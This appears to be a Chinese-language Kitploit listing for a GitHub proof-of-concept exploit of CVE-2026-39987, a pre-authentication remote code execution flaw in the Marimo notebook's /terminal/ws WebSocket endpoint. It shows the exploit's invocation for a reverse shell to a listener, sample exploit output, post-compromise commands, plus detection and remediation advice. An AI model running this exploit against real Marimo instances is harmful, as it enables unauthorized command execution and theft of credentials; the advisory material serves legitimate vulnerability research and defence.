Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-39987 — Marimo 预认证 RCE 的概念验证漏洞利用。利用未认证的 /terminal/ws WebSocket 端点生成 PTY 并建立反向 shell。 | Kitploit
工具/GitHubGitHub/k3ystr0k3r/cve-2026-39987
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubk3ystr0k3r/cve-2026-39987

CVE-2026-39987

Marimo 预认证 RCE 的概念验证漏洞利用。利用未认证的 /terminal/ws WebSocket 端点生成 PTY 并建立反向 shell。

查看仓库
1天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-39987 — Marimo 预认证远程代码执行(RCE)

CVE CVSS CWE Marimo

CVE-2026-39987 是一个影响 Marimo(一个响应式 Python 笔记本环境)的**严重预认证远程代码执行(RCE)**漏洞。

该漏洞存在于 Marimo 的终端 WebSocket 端点:

root@kitploit:~
/terminal/ws

该端点在创建终端会话前未能正确强制实施身份验证。因此,能够访问易受攻击的 Marimo 实例的未认证远程攻击者可以建立 WebSocket 连接并获得交互式 PTY shell。

无需有效凭据。


漏洞摘要

属性值
CVECVE-2026-39987
产品Marimo
漏洞类型预认证远程代码执行
攻击向量网络
身份验证不需要
用户交互不需要
CWECWE-306 — 关键功能缺少身份验证
严重性严重
修复版本0.23.0

该漏洞是由于 Marimo 各 WebSocket 端点之间身份验证强制措施不一致造成的。

其他 WebSocket 功能会执行身份验证校验,而易受攻击的 /terminal/ws 端点无需先验证调用方即可接受连接。


根本原因

易受攻击的终端端点在接受 WebSocket 连接后会创建一个交互式 PTY。

概念上,易受攻击的请求流程如下:

root@kitploit:~
Remote Client
     |
     | WebSocket connection
     v
/terminal/ws
     |
     | Missing authentication validation
     v
WebSocket accepted
     |
     v
PTY created
     |
     v
Interactive shell

关键的安全边界在于缺少身份验证检查。

暴露任意命令执行能力的端点绝不能允许未认证客户端触达 PTY 创建逻辑。


影响

成功利用后,攻击者可以以 Marimo 进程的权限执行任意命令。

根据部署配置的不同,这可能允许攻击者:

  • 执行任意操作系统命令
  • 读取应用程序文件
  • 访问环境变量
  • 访问 Marimo 进程可用的凭据
  • 访问挂载到容器中的文件
  • 进一步渗透到内部环境
  • 在存在过多权限时危及底层主机或容器

对于笔记本环境而言,该影响尤为严重,因为这类环境通常可以访问数据集、API、凭据、云资源和开发基础设施。


概念验证(PoC)

警告: 仅可对您拥有或明确获授权测试的系统运行 PoC。

本仓库包含一个用于在受控环境中演示该漏洞的 PoC。

以下示例演示如何对本地/实验实例进行利用。

启动易受攻击的目标

例如:

root@kitploit:~
http://127.0.0.1:8081

在启动 PoC 之前,应确保易受攻击的 Marimo 实例正在运行。


运行 PoC

示例:

root@kitploit:~
python3 exploit.py \
    -u http://127.0.0.1:8081 \
    --host 192.168.101.130 \
    --port 5555

其中:

root@kitploit:~
-u       Target Marimo instance
--host   Listener IP
--port   Listener port

PoC 会建立易受攻击的终端连接,并等待由此产生的 shell 连接。

示例输出:

root@kitploit:~
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882

Shell 演示

成功利用后,攻击者将获得一个以 Marimo 进程权限运行的 shell。

查看当前用户

root@kitploit:~
whoami

示例:

root@kitploit:~
marimo

验证进程身份

root@kitploit:~
id

示例:

root@kitploit:~
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)

这表明任意命令正在以 marimo 账户身份被远程执行。


文件系统演示

该 PoC 还可以演示对受入侵进程可访问文件系统的访问。

root@kitploit:~
ls -la

示例:

root@kitploit:~
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py

切换到文件系统根目录:

root@kitploit:~
cd /
ls

示例:

root@kitploit:~
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace

这确认了远程 shell 拥有正常的文件系统访问权限,具体受 Marimo 进程的权限和容器限制约束。


利用链

完整的漏洞利用链可总结如下:

root@kitploit:~
1. Attacker discovers exposed Marimo instance
                |
                v
2. Attacker connects to /terminal/ws
                |
                v
3. Authentication is not enforced
                |
                v
4. WebSocket connection is accepted
                |
                v
5. PTY terminal is created
                |
                v
6. Attacker obtains command execution
                |
                v
7. Commands execute as the Marimo process

关键的安全失效发生在第 3 步。


检测

潜在的利用迹象包括指向以下位置的意外 WebSocket 连接:

root@kitploit:~
/terminal/ws

以及源自 Marimo 服务器的异常进程活动。

防御者应调查:

  • 指向终端 WebSocket 端点的意外连接
  • Marimo 派生的意外 shell 进程
  • 可疑的子进程
  • 意外的出站连接
  • 对敏感环境变量的访问
  • 意外的文件系统活动
  • Marimo 进程执行的未知命令

修复措施

将 Marimo 升级到已修复版本:

root@kitploit:~
0.23.0 or later

此外:

  • 除非必要,否则不要将 Marimo 直接暴露到公共互联网。
  • 将笔记本服务置于经过身份验证的反向代理之后。
  • 将网络访问限制在受信任的用户和网络范围内。
  • 以所需的最低权限运行 Marimo。
  • 避免将敏感的主机目录挂载到容器中。
  • 轮换可能已被受入侵实例访问过的凭据。
  • 审查日志中可疑的 /terminal/ws 活动。
  • 调查可能已受入侵的实例,而不是假定仅打补丁即可清除攻击者的持久化。

安全分类

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
Severity:   Critical
Type:       Pre-Authentication RCE
Protocol:   WebSocket
Endpoint:   /terminal/ws
Auth:       None required
Fixed:      0.23.0

参考

  • NVD — CVE-2026-39987
  • GitHub Security Advisory — GHSA-2679-6mx9-h9xc
  • Marimo 安全公告与补丁
  • CISA 已知被利用漏洞目录

免责声明

本项目仅用于安全研究、漏洞验证和教育目的。 请勿对您不拥有或未获得明确授权测试的系统使用 PoC。

下载工具